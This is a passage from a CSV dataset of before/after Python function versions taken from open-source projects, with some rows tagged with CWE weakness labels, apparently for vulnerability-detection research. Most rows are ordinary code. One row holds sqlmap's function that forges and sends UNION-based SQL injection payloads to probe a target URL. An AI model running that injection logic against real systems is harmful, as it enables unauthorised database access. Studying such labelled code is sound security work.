                         ' severity level or higher. -l for LOW,'
                         ' -ll for MEDIUM, -lll for HIGH')
    )
    parser.add_argument(
        '-i', '--confidence', dest='confidence', action='count',
        default=1, help='confidence results filter, show only issues of this '
                        'level or higher. -i for LOW, -ii for MEDIUM, '
                        '-iii for HIGH'
    )
    parser.add_argument(
        '-f', '--format', dest='output_format', action='store',
        default='txt', help='specify output format',
        choices=sorted(extension_mgr.formatter_names)
    )
    parser.add_argument(
        '-o', '--output', dest='output_file', action='store',
        default=None, help='write report to filename'
    )
    parser.add_argument(
        '-v', '--verbose', dest='verbose', action='store_true',
        help='show extra information like excluded and included files'
    )
    parser.add_argument(
        '-d', '--debug', dest='debug', action='store_true',
        help='turn on debug mode'
    )
    parser.set_defaults(debug=False)
    parser.set_defaults(verbose=False)

    parser.epilog = ('The following plugin suites were discovered and'
                     ' loaded: [' +
                     ', '.join(extension_mgr.plugin_names) + ']')

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    config_file = args.config_file
    if not config_file:
        try:
            config_file = _find_config()
        except utils.NoConfigFileFound as e:
            logger.error(e)
            sys.exit(2)

    try:
        b_conf = b_config.BanditConfig(config_file)
    except (utils.ConfigFileUnopenable, utils.ConfigFileInvalidYaml) as e:
        logger.error('%s', e)
        sys.exit(2)

    # if the log format string was set in the options, reinitialize
    if b_conf.get_option('log_format'):
        log_format = b_conf.get_option('log_format')
        _init_logger(debug, log_format=log_format)

    b_mgr = b_manager.BanditManager(b_conf, args.agg_type, args.debug,
                                    profile_name=args.profile,
                                    verbose=args.verbose)

    if args.output_format != ""json"":
        logger.info(""using config: %s"", config_file)
        logger.info(""running on Python %d.%d.%d"", sys.version_info.major,
                    sys.version_info.minor, sys.version_info.micro)

    # check ability to write output file, if requested
    if args.output_file is not None:
        check_dest = b_mgr.check_output_destination(args.output_file)
        if check_dest is not True:
            logger.error(
                'Problem with specified output destination\n\t%s: %s',
                check_dest, args.output_file
            )
            sys.exit(2)

    # no point running if there are no tests available
    if not b_mgr.has_tests:
        logger.error('Could not find any tests to apply, please check '
                     'the configuration.')
        sys.exit(2)

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    if args.debug:
        print(b_mgr.b_ma)

    # trigger output of results by Bandit Manager
    sev_level = constants.RANKING[args.severity - 1]
    conf_level = constants.RANKING[args.confidence - 1]
    b_mgr.output_results(args.context_lines,
                         sev_level,
                         conf_level,
                         args.output_file,
                         args.output_format)

    # return an exit code of 1 if there are results, 0 otherwise
    if b_mgr.results_count(sev_filter=sev_level, conf_filter=conf_level) > 0:
        sys.exit(1)
    else:
        sys.exit(0)",UNKNOWN,PyCQA/bandit,e90b76698a9d2468ad07cc01cadbf0f9e5a1e7e8,"def main():
    # bring our logging stuff up as early as possible
    debug = ('-d' in sys.argv or '--debug' in sys.argv)
    _init_logger(debug)
    # By default path would be /etx/xdg/bandit, we want system paths
    os.environ['XDG_CONFIG_DIRS'] = '/etc:/usr/local/etc'
    extension_mgr = _init_extensions()

    # now do normal startup
    parser = argparse.ArgumentParser(
        description='Bandit - a Python source code analyzer.'
    )
    parser.add_argument(
        'targets', metavar='targets', type=str, nargs='+',
        help='source file(s) or directory(s) to be tested'
    )
    parser.add_argument(
        '-r', '--recursive', dest='recursive',
        action='store_true', help='process files in subdirectories'
    )
    parser.add_argument(
        '-a', '--aggregate', dest='agg_type',
        action='store', default='file', type=str,
        choices=['file', 'vuln'],
        help='group results by vulnerability type or file it occurs in'
    )
    parser.add_argument(
        '-n', '--number', dest='context_lines',
        action='store', default=-1, type=int,
        help='max number of code lines to display for each issue identified'
    )
    parser.add_argument(
        '-c', '--configfile', dest='config_file',
        action='store', default=None, type=str,
        help=('if omitted default locations are checked. '
              'Check documentation for searched paths')
    )
    parser.add_argument(
        '-p', '--profile', dest='profile',
        action='store', default=None, type=str,
        help='test set profile in config to use (defaults to all tests)'
    )
    parser.add_argument(
        '-l', '--level', dest='severity', action='count',
        default=1, help=('results severity filter. Show only issues of a given'
                         ' severity level or higher. -l for LOW,'
                         ' -ll for MEDIUM, -lll for HIGH')
    )
    parser.add_argument(
        '-i', '--confidence', dest='confidence', action='count',
        default=1, help='confidence results filter, show only issues of this '
                        'level or higher. -i for LOW, -ii for MEDIUM, '
                        '-iii for HIGH'
    )
    parser.add_argument(
        '-f', '--format', dest='output_format', action='store',
        default='txt', help='specify output format',
        choices=sorted(extension_mgr.formatter_names)
    )
    parser.add_argument(
        '-o', '--output', dest='output_file', action='store',
        default=None, help='write report to filename'
    )
    parser.add_argument(
        '-v', '--verbose', dest='verbose', action='store_true',
        help='show extra information like excluded and included files'
    )
    parser.add_argument(
        '-d', '--debug', dest='debug', action='store_true',
        help='turn on debug mode'
    )
    parser.set_defaults(debug=False)
    parser.set_defaults(verbose=False)

    parser.epilog = ('The following plugin suites were discovered and'
                     ' loaded: [' +
                     ', '.join(extension_mgr.plugin_names) + ']')

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    config_file = args.config_file
    if not config_file:
        try:
            config_file = _find_config()
        except utils.NoConfigFileFound as e:
            logger.error(e)
            sys.exit(2)

    try:
        b_conf = b_config.BanditConfig(config_file)
    except (utils.ConfigFileUnopenable, utils.ConfigFileInvalidYaml) as e:
        logger.error('%s', e)
        sys.exit(2)

    # if the log format string was set in the options, reinitialize
    if b_conf.get_option('log_format'):
        log_format = b_conf.get_option('log_format')
        _init_logger(debug, log_format=log_format)

    b_mgr = b_manager.BanditManager(b_conf, args.agg_type, args.debug,
                                    profile_name=args.profile,
                                    verbose=args.verbose)

    if args.output_format != ""json"":
        logger.info(""using config: %s"", config_file)
        logger.info(""running on Python %d.%d.%d"", sys.version_info.major,
                    sys.version_info.minor, sys.version_info.micro)

    # check ability to write output file, if requested
    if args.output_file is not None:
        check_dest = b_mgr.check_output_destination(args.output_file)
        if check_dest is not True:
            logger.error(
                'Problem with specified output destination\n\t%s: %s',
                check_dest, args.output_file
            )
            sys.exit(2)

    # no point running if there are no tests available
    if not b_mgr.has_tests:
        logger.error('Could not find any tests to apply, please check '
                     'the configuration.')
        sys.exit(2)

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    if args.debug:
        print(b_mgr.b_ma)

    # trigger output of results by Bandit Manager
    sev_level = constants.RANKING[args.severity - 1]
    conf_level = constants.RANKING[args.confidence - 1]
    b_mgr.output_results(args.context_lines,
                         sev_level,
                         conf_level,
                         args.output_file,
                         args.output_format)

    # return an exit code of 1 if there are results, 0 otherwise
    if b_mgr.results_count(sev_filter=sev_level, conf_filter=conf_level) > 0:
        sys.exit(1)
    else:
        sys.exit(0)"
,UNKNOWN,UNKNOWN,airflow-core/src/airflow/models/taskmap.py,1,"def expand_mapped_task(cls, task, run_id: str, *, session: Session) -> tuple[Sequence[TaskInstance], int]:
        """"""
        Create the mapped task instances for mapped task.

        :raise NotMapped: If this task does not need expansion.
        :return: The newly created mapped task instances (if any) in ascending
            order by map index, and the maximum map index value.
        """"""
        from airflow.models.baseoperator import BaseOperator as DBBaseOperator
        from airflow.models.expandinput import NotFullyPopulated
        from airflow.models.taskinstance import TaskInstance
        from airflow.sdk.bases.operator import BaseOperator
        from airflow.sdk.definitions.mappedoperator import MappedOperator
        from airflow.settings import task_instance_mutation_hook

        if not isinstance(task, BaseOperator | MappedOperator):
            raise RuntimeError(
                f""cannot expand unrecognized operator type {type(task).__module__}.{type(task).__name__}""
            )

        try:
            total_length: int | None = DBBaseOperator.get_mapped_ti_count(task, run_id, session=session)
        except NotFullyPopulated as e:
            if not task.dag or not task.dag.partial:
                task.log.error(
                    ""Cannot expand %r for run %s; missing upstream values: %s"",
                    task,
                    run_id,
                    sorted(e.missing),
                )
            total_length = None

        state: TaskInstanceState | None = None
        unmapped_ti: TaskInstance | None = session.scalars(
            select(TaskInstance).where(
                TaskInstance.dag_id == task.dag_id,
                TaskInstance.task_id == task.task_id,
                TaskInstance.run_id == run_id,
                TaskInstance.map_index == -1,
                or_(TaskInstance.state.in_(State.unfinished), TaskInstance.state.is_(None)),
            )
        ).one_or_none()

        all_expanded_tis: list[TaskInstance] = []

        if unmapped_ti:
            if TYPE_CHECKING:
                assert task.dag is None or isinstance(task.dag, SchedulerDAG)

            # The unmapped task instance still exists and is unfinished, i.e. we
            # haven't tried to run it before.
            if total_length is None:
                # If the DAG is partial, it's likely that the upstream tasks
                # are not done yet, so the task can't fail yet.
                if not task.dag or not task.dag.partial:
                    unmapped_ti.state = TaskInstanceState.UPSTREAM_FAILED
            elif total_length < 1:
                # If the upstream maps this to a zero-length value, simply mark
                # the unmapped task instance as SKIPPED (if needed).
                task.log.info(
                    ""Marking %s as SKIPPED since the map has %d values to expand"",
                    unmapped_ti,
                    total_length,
                )
                unmapped_ti.state = TaskInstanceState.SKIPPED
            else:
                zero_index_ti_exists = exists_query(
                    TaskInstance.dag_id == task.dag_id,
                    TaskInstance.task_id == task.task_id,
                    TaskInstance.run_id == run_id,
                    TaskInstance.map_index == 0,
                    session=session,
                )
                if not zero_index_ti_exists:
                    # Otherwise convert this into the first mapped index, and create
                    # TaskInstance for other indexes.
                    unmapped_ti.map_index = 0
                    task.log.debug(""Updated in place to become %s"", unmapped_ti)
                    all_expanded_tis.append(unmapped_ti)
                    # execute hook for task instance map index 0
                    task_instance_mutation_hook(unmapped_ti)
                    session.flush()
                else:
                    task.log.debug(""Deleting the original task instance: %s"", unmapped_ti)
                    session.delete(unmapped_ti)
                state = unmapped_ti.state
            dag_version_id = unmapped_ti.dag_version_id

        if total_length is None or total_length < 1:
            # Nothing to fixup.
            indexes_to_map: Iterable[int] = ()
        else:
            # Only create ""missing"" ones.
            current_max_mapping = session.scalar(
                select(func.max(TaskInstance.map_index)).where(
                    TaskInstance.dag_id == task.dag_id,
                    TaskInstance.task_id == task.task_id,
                    TaskInstance.run_id == run_id,
                )
            )
            indexes_to_map = range(current_max_mapping + 1, total_length)

        if unmapped_ti:
            dag_version_id = unmapped_ti.dag_version_id
        elif dag_version := DagVersion.get_latest_version(task.dag_id, session=session):
            dag_version_id = dag_version.id
        else:
            dag_version_id = None

        for index in indexes_to_map:
            # TODO: Make more efficient with bulk_insert_mappings/bulk_save_mappings.
            ti = TaskInstance(
                task,
                run_id=run_id,
                map_index=index,
                state=state,
                dag_version_id=dag_version_id,
            )
            task.log.debug(""Expanding TIs upserted %s"", ti)
            task_instance_mutation_hook(ti)
            ti = session.merge(ti)
            ti.refresh_from_task(task)  # session.merge() loses task information.
            all_expanded_tis.append(ti)

        # Coerce the None case to 0 -- these two are almost treated identically,
        # except the unmapped ti (if exists) is marked to different states.
        total_expanded_ti_count = total_length or 0

        # Any (old) task instances with inapplicable indexes (>= the total
        # number we need) are set to ""REMOVED"".
        query = select(TaskInstance).where(
            TaskInstance.dag_id == task.dag_id,
            TaskInstance.task_id == task.task_id,
            TaskInstance.run_id == run_id,
            TaskInstance.map_index >= total_expanded_ti_count,
        )
        query = with_row_locks(query, of=TaskInstance, session=session, skip_locked=True)
        to_update = session.scalars(query)
        for ti in to_update:
            ti.state = TaskInstanceState.REMOVED
        session.flush()
        return all_expanded_tis, total_expanded_ti_count - 1",CWE-703,apache/airflow,e7e89a07ff24d7942e1940d10b4da5be0013336e,"def expand_mapped_task(cls, task, run_id: str, *, session: Session) -> tuple[Sequence[TaskInstance], int]:
        """"""
        Create the mapped task instances for mapped task.

        :raise NotMapped: If this task does not need expansion.
        :return: The newly created mapped task instances (if any) in ascending
            order by map index, and the maximum map index value.
        """"""
        from airflow.models.baseoperator import BaseOperator as DBBaseOperator
        from airflow.models.expandinput import NotFullyPopulated
        from airflow.models.taskinstance import TaskInstance
        from airflow.sdk.bases.operator import BaseOperator
        from airflow.sdk.definitions.mappedoperator import MappedOperator
        from airflow.settings import task_instance_mutation_hook

        if not isinstance(task, (BaseOperator, MappedOperator)):
            raise RuntimeError(
                f""cannot expand unrecognized operator type {type(task).__module__}.{type(task).__name__}""
            )

        try:
            total_length: int | None = DBBaseOperator.get_mapped_ti_count(task, run_id, session=session)
        except NotFullyPopulated as e:
            if not task.dag or not task.dag.partial:
                task.log.error(
                    ""Cannot expand %r for run %s; missing upstream values: %s"",
                    task,
                    run_id,
                    sorted(e.missing),
                )
            total_length = None

        state: TaskInstanceState | None = None
        unmapped_ti: TaskInstance | None = session.scalars(
            select(TaskInstance).where(
                TaskInstance.dag_id == task.dag_id,
                TaskInstance.task_id == task.task_id,
                TaskInstance.run_id == run_id,
                TaskInstance.map_index == -1,
                or_(TaskInstance.state.in_(State.unfinished), TaskInstance.state.is_(None)),
            )
        ).one_or_none()

        all_expanded_tis: list[TaskInstance] = []

        if unmapped_ti:
            if TYPE_CHECKING:
                assert task.dag is None or isinstance(task.dag, SchedulerDAG)

            # The unmapped task instance still exists and is unfinished, i.e. we
            # haven't tried to run it before.
            if total_length is None:
                # If the DAG is partial, it's likely that the upstream tasks
                # are not done yet, so the task can't fail yet.
                if not task.dag or not task.dag.partial:
                    unmapped_ti.state = TaskInstanceState.UPSTREAM_FAILED
            elif total_length < 1:
                # If the upstream maps this to a zero-length value, simply mark
                # the unmapped task instance as SKIPPED (if needed).
                task.log.info(
                    ""Marking %s as SKIPPED since the map has %d values to expand"",
                    unmapped_ti,
                    total_length,
                )
                unmapped_ti.state = TaskInstanceState.SKIPPED
            else:
                zero_index_ti_exists = exists_query(
                    TaskInstance.dag_id == task.dag_id,
                    TaskInstance.task_id == task.task_id,
                    TaskInstance.run_id == run_id,
                    TaskInstance.map_index == 0,
                    session=session,
                )
                if not zero_index_ti_exists:
                    # Otherwise convert this into the first mapped index, and create
                    # TaskInstance for other indexes.
                    unmapped_ti.map_index = 0
                    task.log.debug(""Updated in place to become %s"", unmapped_ti)
                    all_expanded_tis.append(unmapped_ti)
                    # execute hook for task instance map index 0
                    task_instance_mutation_hook(unmapped_ti)
                    session.flush()
                else:
                    task.log.debug(""Deleting the original task instance: %s"", unmapped_ti)
                    session.delete(unmapped_ti)
                state = unmapped_ti.state
            dag_version_id = unmapped_ti.dag_version_id

        if total_length is None or total_length < 1:
            # Nothing to fixup.
            indexes_to_map: Iterable[int] = ()
        else:
            # Only create ""missing"" ones.
            current_max_mapping = session.scalar(
                select(func.max(TaskInstance.map_index)).where(
                    TaskInstance.dag_id == task.dag_id,
                    TaskInstance.task_id == task.task_id,
                    TaskInstance.run_id == run_id,
                )
            )
            indexes_to_map = range(current_max_mapping + 1, total_length)

        if unmapped_ti:
            dag_version_id = unmapped_ti.dag_version_id
        elif dag_version := DagVersion.get_latest_version(task.dag_id, session=session):
            dag_version_id = dag_version.id
        else:
            dag_version_id = None

        for index in indexes_to_map:
            # TODO: Make more efficient with bulk_insert_mappings/bulk_save_mappings.
            ti = TaskInstance(
                task,
                run_id=run_id,
                map_index=index,
                state=state,
                dag_version_id=dag_version_id,
            )
            task.log.debug(""Expanding TIs upserted %s"", ti)
            task_instance_mutation_hook(ti)
            ti = session.merge(ti)
            ti.refresh_from_task(task)  # session.merge() loses task information.
            all_expanded_tis.append(ti)

        # Coerce the None case to 0 -- these two are almost treated identically,
        # except the unmapped ti (if exists) is marked to different states.
        total_expanded_ti_count = total_length or 0

        # Any (old) task instances with inapplicable indexes (>= the total
        # number we need) are set to ""REMOVED"".
        query = select(TaskInstance).where(
            TaskInstance.dag_id == task.dag_id,
            TaskInstance.task_id == task.task_id,
            TaskInstance.run_id == run_id,
            TaskInstance.map_index >= total_expanded_ti_count,
        )
        query = with_row_locks(query, of=TaskInstance, session=session, skip_locked=True)
        to_update = session.scalars(query)
        for ti in to_update:
            ti.state = TaskInstanceState.REMOVED
        session.flush()
        return all_expanded_tis, total_expanded_ti_count - 1"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/tests/crawl/test_web_spider.py,0,"def test_spider_found_urls(self):
        config = self._run_configs['basic']
        expected_files = ['1.html', '2.html', '3.html', '4.html',
                          'd%20f/index.html', 'a%20b.html', 'd%20f/',]
        start_url = self.follow_links_url

        self.generic_scan(config, self.follow_links_url,
                          start_url, expected_files)",,andresriancho/w3af,c2137f8c6f4c788dce8bb295a61c0970b103fa16,"def test_spider_found_urls(self):
        config = self._run_configs['basic']
        expected_files = ['1.html', '2.html', '3.html', '4.html',
                          'd%20f/index.html', 'a%20b.html', 'd%20f/',]
        start_url = self.follow_links_url

        self.generic_scan(config, self.follow_links_url,
                          start_url, expected_files)"
,UNKNOWN,UNKNOWN,salt/utils/aws.py,1,"def sleep_exponential_backoff(attempts):
    """"""
    backoff an exponential amount of time to throttle requests
    during ""API Rate Exceeded"" failures as suggested by the AWS documentation here:
    https://docs.aws.amazon.com/AWSEC2/latest/APIReference/query-api-troubleshooting.html
    and also here:
    https://docs.aws.amazon.com/general/latest/gr/api-retries.html
    Failure to implement this approach results in a failure rate of >30% when using salt-cloud with
    ""--parallel"" when creating 50 or more instances with a fixed delay of 2 seconds.
    A failure rate of >10% is observed when using the salt-api with an asynchronous client
    specified (runner_async).
    """"""
    time.sleep(random.uniform(1, 2**attempts))",CWE-330,saltstack/salt,cb6593131d50679f9b6a608e8a7c9c4c85ba455a,"def sleep_exponential_backoff(attempts):
    """"""
    backoff an exponential amount of time to throttle requests
    during ""API Rate Exceeded"" failures as suggested by the AWS documentation here:
    https://docs.aws.amazon.com/AWSEC2/latest/APIReference/query-api-troubleshooting.html
    and also here:
    https://docs.aws.amazon.com/general/latest/gr/api-retries.html
    Failure to implement this approach results in a failure rate of >30% when using salt-cloud with
    ""--parallel"" when creating 50 or more instances with a fixed delay of 2 seconds.
    A failure rate of >10% is observed when using the salt-api with an asyncronous client
    specified (runner_async).
    """"""
    time.sleep(random.uniform(1, 2**attempts))"
,UNKNOWN,UNKNOWN,tests/unit/modules/test_napalm_ntp.py,1,"def mock_net_load_template(template, *args, **kwargs):
    if template == 'set_ntp_peers' or template == 'delete_ntp_peers':
        assert '1.2.3.4' in kwargs['peers']
    if template == 'set_ntp_servers' or template == 'delete_ntp_servers':
        assert '2.2.3.4' in kwargs['servers']",CWE-703,saltstack/salt,b95750e31c7bf8cc49e4bdce2d94b42beb77bf46,"def mock_net_load_template(template, *args, **kwargs):
    if template == 'set_ntp_peers' or template == 'delete_ntp_peers':
        assert '1.2.3.4' in kwargs['peers']
    if template == 'set_ntp_servers' or template == 'delete_ntp_servers':
        assert '2.2.3.4' in kwargs['servers']
    pass"
,UNKNOWN,UNKNOWN,tests/projects/backend/test_local.py,1,"def test_docker_s3_artifact_cmd_and_envs_from_env():
    mock_env = {
        ""AWS_SECRET_ACCESS_KEY"": ""mock_secret"",
        ""AWS_ACCESS_KEY_ID"": ""mock_access_key"",
        ""MLFLOW_S3_ENDPOINT_URL"": ""mock_endpoint"",
        ""MLFLOW_S3_IGNORE_TLS"": ""false"",
    }
    with mock.patch.dict(""os.environ"", mock_env), mock.patch(
        ""posixpath.exists"", return_value=False
    ):
        cmds, envs = _get_docker_artifact_storage_cmd_and_envs(""s3://mock_bucket"")
        assert cmds == []
        assert envs == mock_env",CWE-703,mlflow/mlflow,e34dbf236f7c19e9774365d03c87bc1b746d932f,"def test_docker_s3_artifact_cmd_and_envs_from_env():
    mock_env = {
        ""AWS_SECRET_ACCESS_KEY"": ""mock_secret"",
        ""AWS_ACCESS_KEY_ID"": ""mock_access_key"",
        ""MLFLOW_S3_ENDPOINT_URL"": ""mock_endpoint"",
    }
    with mock.patch.dict(""os.environ"", mock_env), mock.patch(
        ""posixpath.exists"", return_value=False
    ):
        cmds, envs = _get_docker_artifact_storage_cmd_and_envs(""s3://mock_bucket"")
        assert cmds == []
        assert envs == mock_env"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/addrspaces/intel.py,0,"def pde_index(self, vaddr):
        return (vaddr >> pde_shift) & (ptrs_per_pde - 1)",,volatilityfoundation/volatility,80d0640449f1d9d47e1e7adea3ea70503ea08f4b,"def pde_index(self, vaddr):
        return (vaddr >> pde_shift) & (ptrs_per_pde - 1)"
,UNKNOWN,UNKNOWN,tests/providers/dbt/cloud/operators/test_dbt.py,1,"def test_execute_no_wait_for_termination_and_reuse_existing_run(
        self, mock_run_job, mock_get_job_runs, conn_id, account_id
    ):
        mock_get_job_runs.return_value.json.return_value = {
            ""data"": [
                {
                    ""id"": 10000,
                    ""status"": 1,
                    ""href"": EXPECTED_JOB_RUN_OP_EXTRA_LINK.format(
                        account_id=DEFAULT_ACCOUNT_ID, project_id=PROJECT_ID, run_id=RUN_ID
                    ),
                },
                {
                    ""id"": 10001,
                    ""status"": 2,
                    ""href"": EXPECTED_JOB_RUN_OP_EXTRA_LINK.format(
                        account_id=DEFAULT_ACCOUNT_ID, project_id=PROJECT_ID, run_id=RUN_ID
                    ),
                },
            ]
        }

        operator = DbtCloudRunJobOperator(
            task_id=TASK_ID,
            dbt_cloud_conn_id=conn_id,
            account_id=account_id,
            trigger_reason=None,
            dag=self.dag,
            wait_for_termination=False,
            reuse_existing_run=True,
            **self.config,
        )

        assert operator.dbt_cloud_conn_id == conn_id
        assert operator.job_id == self.config[""job_id""]
        assert operator.account_id == account_id
        assert operator.check_interval == self.config[""check_interval""]
        assert operator.timeout == self.config[""timeout""]
        assert not operator.wait_for_termination
        assert operator.steps_override == self.config[""steps_override""]
        assert operator.schema_override == self.config[""schema_override""]
        assert operator.additional_run_config == self.config[""additional_run_config""]

        operator.execute(context=self.mock_context)

        mock_run_job.assert_not_called()
        mock_get_job_runs.assert_called_with(
            account_id=account_id,
            payload={
                ""job_definition_id"": self.config[""job_id""],
                ""status__in"": str(list(DbtCloudJobRunStatus.NON_TERMINAL_STATUSES.value)),
                ""order_by"": ""-created_at"",
            },
        )",CWE-703,apache/airflow,5d227860ad38db8afd724fb9d3d9607c9888683e,"def test_execute_no_wait_for_termination_and_reuse_existing_run(
        self, mock_run_job, mock_get_job_runs, conn_id, account_id
    ):
        mock_get_job_runs.return_value.json.return_value = {
            ""data"": [
                {
                    ""id"": 10000,
                    ""status"": 1,
                    ""href"": EXPECTED_JOB_RUN_OP_EXTRA_LINK.format(
                        account_id=DEFAULT_ACCOUNT_ID, project_id=PROJECT_ID, run_id=RUN_ID
                    ),
                },
                {
                    ""id"": 10001,
                    ""status"": 2,
                    ""href"": EXPECTED_JOB_RUN_OP_EXTRA_LINK.format(
                        account_id=DEFAULT_ACCOUNT_ID, project_id=PROJECT_ID, run_id=RUN_ID
                    ),
                },
            ]
        }

        operator = DbtCloudRunJobOperator(
            task_id=TASK_ID,
            dbt_cloud_conn_id=conn_id,
            account_id=account_id,
            trigger_reason=None,
            dag=self.dag,
            wait_for_termination=False,
            reuse_existing_run=True,
            **self.config,
        )

        assert operator.dbt_cloud_conn_id == conn_id
        assert operator.job_id == self.config[""job_id""]
        assert operator.account_id == account_id
        assert operator.check_interval == self.config[""check_interval""]
        assert operator.timeout == self.config[""timeout""]
        assert not operator.wait_for_termination
        assert operator.steps_override == self.config[""steps_override""]
        assert operator.schema_override == self.config[""schema_override""]
        assert operator.additional_run_config == self.config[""additional_run_config""]

        operator.execute(context=self.mock_context)

        mock_run_job.assert_not_called()
        mock_get_job_runs.assert_called_with(
            account_id=account_id,
            payload={
                ""job_definition_id"": self.config[""job_id""],
                ""status__in"": DbtCloudJobRunStatus.NON_TERMINAL_STATUSES,
                ""order_by"": ""-created_at"",
            },
        )"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/overlays/windows/kdbg_vtypes.py,0,"def ServicePack(self):
        """"""Get the service pack number. This is something
        like 0x100 for SP1, 0x200 for SP2 etc. 
        """"""
        csdresult = obj.Object(""unsigned long"", offset = self.CmNtCSDVersion, vm = self.obj_native_vm)
        return (csdresult >> 8) & 0xffffffff",,volatilityfoundation/volatility,6d862c2effbe78138ce22a4102fe18892f7b4bb2,"def ServicePack(self):
        """"""Get the service pack number. This is something
        like 0x100 for SP1, 0x200 for SP2 etc. 
        """"""
        csdresult = obj.Object(""unsigned long"", offset = self.CmNtCSDVersion, vm = self.obj_vm)
        return (csdresult >> 8) & 0xffffffff"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/attack/db/tests/test_sqlmap_wrapper.py,0,"def test_verify_vulnerability(self):
        vulnerable = self.sqlmap.is_vulnerable()
        self.assertTrue(vulnerable)",,andresriancho/w3af,c0f2661783cd7aa9a55c0972847cc2a3fdff1a29,"def test_verify_vulnerability(self):
        vulnerable = self.sqlmap.is_vulnerable()
        self.assertTrue(vulnerable)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/inband/union/test.py,0,"def __unionPosition(comment, place, parameter, value, prefix, suffix, dbms, count, where=1):
    validPayload = None
    vector = None

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for position in range(0, count):
        # Prepare expression with delimiters
        randQuery = randomStr()
        randQueryProcessed = agent.concatQuery(""\'%s\'"" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed, dbms=dbms)

        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, place=place, content=True, raise404=False)

        if resultPage and randQuery in resultPage and "" UNION ALL SELECT "" not in resultPage:
            validPayload = payload
            vector = (position, count, comment, prefix, suffix, conf.uChar, where)

            if where == 1:
                # Prepare expression with delimiters
                randQuery2 = randomStr()
                randQueryProcessed2 = agent.concatQuery(""\'%s\'"" % randQuery2)
                randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2, dbms=dbms)

                # Confirm that it is a full inband SQL injection
                query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar, multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=2)

                # Perform the request
                resultPage, _ = Request.queryPage(payload, place=place, content=True, raise404=False)

                if resultPage and "" UNION ALL SELECT "" not in resultPage and ((randQuery in resultPage and randQuery2 not in resultPage) or (randQuery not in resultPage and randQuery2 in resultPage)):
                    vector = (position, count, comment, prefix, suffix, conf.uChar, 2)

            break

    return validPayload, vector",,sqlmapproject/sqlmap,e105e1ea32a6c640c7db0eb087c40af4676022fa,"def __unionPosition(comment, place, parameter, value, prefix, suffix, dbms, count, where=1):
    validPayload = None
    vector = None

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for position in range(0, count):
        # Prepare expression with delimiters
        randQuery = randomStr()
        randQueryProcessed = agent.concatQuery(""\'%s\'"" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed, dbms=dbms)

        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, place=place, content=True)

        if resultPage and randQuery in resultPage and "" UNION ALL SELECT "" not in resultPage:
            validPayload = payload
            vector = (position, count, comment, prefix, suffix, conf.uChar, where)

            if where == 1:
                # Prepare expression with delimiters
                randQuery2 = randomStr()
                randQueryProcessed2 = agent.concatQuery(""\'%s\'"" % randQuery2)
                randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2, dbms=dbms)

                # Confirm that it is a full inband SQL injection
                query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar, multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=2)

                # Perform the request
                resultPage, _ = Request.queryPage(payload, place=place, content=True)

                if resultPage and "" UNION ALL SELECT "" not in resultPage and ((randQuery in resultPage and randQuery2 not in resultPage) or (randQuery not in resultPage and randQuery2 in resultPage)):
                    vector = (position, count, comment, prefix, suffix, conf.uChar, 2)

            break

    return validPayload, vector"
,UNKNOWN,UNKNOWN,tests/langchain/test_langchain_model_export.py,1,"def test_simple_chat_model_inference():
    class ChatModel(SimpleChatModel):
        def _call(self, messages, stop, run_manager, **kwargs):
            return ""\n"".join([f""{message.type}: {message.content}"" for message in messages])

        @property
        def _llm_type(self) -> str:
            return ""chat model""

    model = ChatModel()

    with mlflow.start_run():
        model_info = mlflow.langchain.log_model(model, ""model"")

    loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)

    input_example = {
        ""messages"": [
            {""role"": ""system"", ""content"": ""You are a helpful assistant.""},
            {""role"": ""assistant"", ""content"": ""What would you like to ask?""},
            {""role"": ""user"", ""content"": ""Who owns MLflow?""},
        ]
    }
    expected_resp_content = {
        ""role"": ""assistant"",
        ""content"": (
            ""system: You are a helpful assistant.\n""
            ""ai: What would you like to ask?\n""
            ""human: Who owns MLflow?""
        ),
    }
    response1 = loaded_model.predict([input_example])
    assert len(response1) == 1
    assert response1[0][""choices""][0][""message""] == expected_resp_content
    response2 = loaded_model.predict(input_example)
    assert response2[""choices""][0][""message""] == expected_resp_content
    response3 = loaded_model.predict([input_example, input_example])
    assert len(response3) == 2
    for i in range(2):
        assert response3[i][""choices""][0][""message""] == expected_resp_content",CWE-703,mlflow/mlflow,7056004311a0670f7d06c20d331bfd4cbfe7de93,"def test_simple_chat_model_inference():
    class ChatModel(SimpleChatModel):
        def _call(self, messages, stop, run_manager, **kwargs):
            return ""\n"".join([f""{message.type}: {message.content}"" for message in messages])

        @property
